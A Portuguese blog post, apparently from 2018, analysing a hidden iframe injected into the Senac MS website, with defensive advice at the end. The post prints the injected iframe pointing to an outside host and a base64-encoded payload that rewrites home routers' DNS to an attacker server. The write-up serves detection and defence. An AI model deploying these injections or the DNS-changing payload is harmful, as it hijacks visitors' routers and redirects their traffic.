Recentemente, recebi algumas alertas de pessoas que entraram no site do Senac MS e o tinha seu acesso a internet interrompido.

Foi então onde comecei uma investigação, observei a demora para a página carregar, após alguns segundos o site carregou. Pensei então que fosse meu navegador, tentei abrir-lo em outro, para minha surpresa a extensão que uso (NoScript) barrou o carregamento do site, observei que havia um iframe escondido injetado no index.php do tema:

<iframe src=”http://voceemfoko.com.br/components/com_mailto/views/mailto/tmpl/index2.php" style=”width: 1px; height: 1px; display: none;”></iframe>

Quando abri o URL em um navegador, a página continha um cabeçalho,

“<h1>Ok, lets go!</h1>” 

com o fundo branco. Depois de verificar o código-fonte HTML, descobri um pedaço de JavaScript com alguns ranges de IPs.

Range dos IPs alvos

O que exatamente eram esses ranges de IPs? Esses ranges nada mais era alguns padrões de IP default para acessar alguns modelos de roteadores.

Ataques de força bruta contra roteadores podem ter na, maioria das vezes, 99% de sucesso. Isso porque os usuários dos roteadores muitas vezes não mudam as senhas dos roteadores e usam senhas padrão para marcas populares de roteadores.

Um dos pedaços do HTML/JS tinha algumas funções interessantes chamadas: PortCheck, isOnline, Launch.

Com base em algumas pesquisas feitas, foram realizados testes com Códigos Javascripts que capturam endereços de IP locais internos(WebRTC-IPS) e logo após realizam ataques de força bruta contra o roteador do IP interno capturado, testando usuários e senhas padrões pré-definidos no próprio código.

Quando a vitima acessa o site, é carregado um iframe invisível onde é carregado a função PortCheck, que se encarrega de chamar 3 parâmetros o target para ver se enquadra nos ranges passados, o port que espera uma outra função ser carregada em background aguardando as portas: 80 e 1400 responder o timeout caso responda o para online. Caso tudo ocorra bem na primeira função é acionado uma segunda funcão, isOnline que junta tudo e gera uma terceira função a Launch que faz varias solicitações em GET gerando o “gerar.php?ip=” e enquadrando-o nos ranges de IPs passados.

Curiosamente, também encontrei código HTML com encode de Base64 na aplicação que estava “oculta”. A aplicação gerada não estava visível porque a página estava sendo carregada dentro de um iframe invisível, o que levanta a questão: quem precisa de uma aplicação que não pode ser vista e por que escondê-la se ela já se encontra dentro de um iframe invisível?

Foi quando observei o arquivo chamado **v.js **que estava sendo carregado também. Esse arquivo chamava outro iframe que ao tentar acessar ela se encontra encodada com base64.

function Chamar(ip) {$(‘body’).append(’’);

}

<iframe src=’data:text/html;base64,DQoNCgk8aHRtbD4NCg0KCQk8aGVhZD4NCgkJPC9oZWFkPg0KCQk8Ym9keT4NCg0KCQk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTEuMTAuMi5qcyI+PC9zY3JpcHQ+DQoNCgkJPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQoNCgkJCWZ1bmN0aW9uIFdlYihVcmwpDQoJCQl7DQoJCQkJdmFyIGNyZWQgPSBVcmwucmVwbGFjZSgiaHR0cDovLyIsIiIpOw0KCQkJCXZhciB3cyA9IG5ldyBXZWJTb2NrZXQoIndzOi8vIitjcmVkKTsNCgkJCX0NCg0KCQkJZnVuY3Rpb24gR28oKQ0KCQkJCXsNCgkJCQkJV2ViKCJodHRwOi8vJy9kbnNjZmcuY2dpP2Ruc1ByaW1hcnk9MTQyLjQ0LjIzNi41MiZkbnNTZWNvbmRhcnk9MTQyLjQ0LjIzNi41MiZkbnNEeW5hbWljPTAmZG5zUmVmcmVzaD0xIik7DQoJCQkJfQ0KDQoJCQkJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uKCkgew0KCQkJCQlHbygpOw0KCQkJCX0pOw0KDQoJCTwvc2NyaXB0PiANCgkJPC9ib2R5Pg0KCTwvaHRtbD4NCg0K’ style=’width: 1px; height: 1px; display: none;’></iframe>

Após a decodificação de uma parte do código, logo identifiquei que se tratava de um uma alteração de DNS ou DNSChanger.

Ao adquirir o IP local do roteador, o script envia várias solicitações HTTP (GET) para o roteador com um endereço IP de um servidor DNS malicioso para substituir o atual.

O que é DNS?

Normalmente, para você acessar um site você digita um endereço na barra de endereços do seu navegador. Por exemplo www.google.com.br. Só que por trás desse domínio existe um endereço IP, que é o verdadeiro endereço do site. Teoricamente o DNS é responsável pela tradução do endereço (www.site.com.br) para o endereço IP.

Um exemplo parecido com o DNS é a agenda telefônica! Você seleciona um contato e ele discará não para o nome do contato e sim para o número!

O que é DNSChanger?

DNSChanger, resumidamente, é a troca — automatizada ou não — de um determinado DNS por outro, sendo ele malicioso ou não. Quando essa mudança acontece, os dispositivos passam a utilizar servidores DNS que não levam o usuário aos endereços corretos mas, sim, a endereços de interesse do atacante.

Propagação, o que o atacante ganha com isso?

Várias técnicas são utilizadas pelos cibercriminosos para disseminação dos scripts. Umas das preferidas deles é a invasão de sites e LOJAS VIRTUAIS com bastante tráfego de usuários, então eles acabam incluindo esse código Javascript no código fonte do site.

Como se prevenir?

● Alteração de usuários e senhas padrão do roteador.

● Atualização de firmware.

● Desabilitar funções de administração remotas (porta 80 e 1400).

● Verificação periódica das configurações DNS do roteador e placa de rede.

● Instalação de extensões no navegador, para bloqueio de scripts antes que sejam executados no navegador(NoScript).

PS.: Peço desculpas por alguns erros gramaticais e falta de coesão, escrevi meio as pressas e pode ser que deixei de comentar algo. Espero que o post ajude vocês de alguma forma e qualquer dúvida que tiver só entrar em contato comigo ou mandar nos comentários aqui em baixo.

PSS: Artigo escrito em 9 de Abril de 2018, através do Medium.